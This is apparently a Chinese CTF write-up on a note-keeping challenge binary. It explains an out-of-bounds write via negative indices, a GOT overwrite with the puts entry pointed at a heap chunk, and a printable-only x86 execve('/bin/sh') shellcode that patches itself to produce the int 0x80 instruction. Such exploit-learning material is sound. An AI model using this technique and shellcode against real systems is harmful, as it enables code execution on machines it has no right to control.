题目逻辑比较简单,大概增加和删除和打印三个功能:
show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大:
delete函数中,正常的free,然后指针修改为null,可能不存在漏洞,唯一的bug在于read_int()函数中
readint函数使用了atoi函数,当输入是“-12”这样的负数时,造成读越界,但是由于在delete函数中,用处不是特别大
最后,add函数
函数的逻辑是在note数组中写入malloc的返回的指针,并且同样用了readint函数,可以发现存在越界写的问题,而note变量在bss段上,可以想到覆写got表:
而检查一下文件开启的保护,没有开启NX保护,也就是可以写入shellcode,这样put@got指向malloc返回地址,malloc块中写入shellcode,便可以获得shell。
而针对用户输入,还有一个函数用来检测,
因此需要保证用户输入范围是从2F~7F范围内。即考察shellcode的编写。
常见的shellcode思路是利用int 80h陷入软中断,
并使得eax内容为0x0b,ebx指向一个字符串"/bin/sh",ecx、edx置0。如shellcraft.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
但在汇编以后,不能满足我们的要求。
根据某大牛博客中写到,此题可用的汇编指令如下:
1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
可以先看一下,执行shellcode时的寄存器状况:
根据如上的寄存器情况,shellcode可以写成这样:
shellcode = ''' /* execve(path='/bin///sh', argv=0, envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx /*rewrite shellcode to get 'int 80'*/ push edx pop eax push 0x60606060 pop edx sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x34] , dl push 0x3e3e3e3e pop edx sub byte ptr[eax + 0x34] , dl /*set zero to edx*/ push ecx pop edx /*set 0x0b to eax*/ push edx pop eax xor al, 0x40 xor al, 0x4b /*foo order,for holding the place*/ push edx pop edx push edx pop edx ''' shellcode = asm(shellcode) + '\x6b\x40'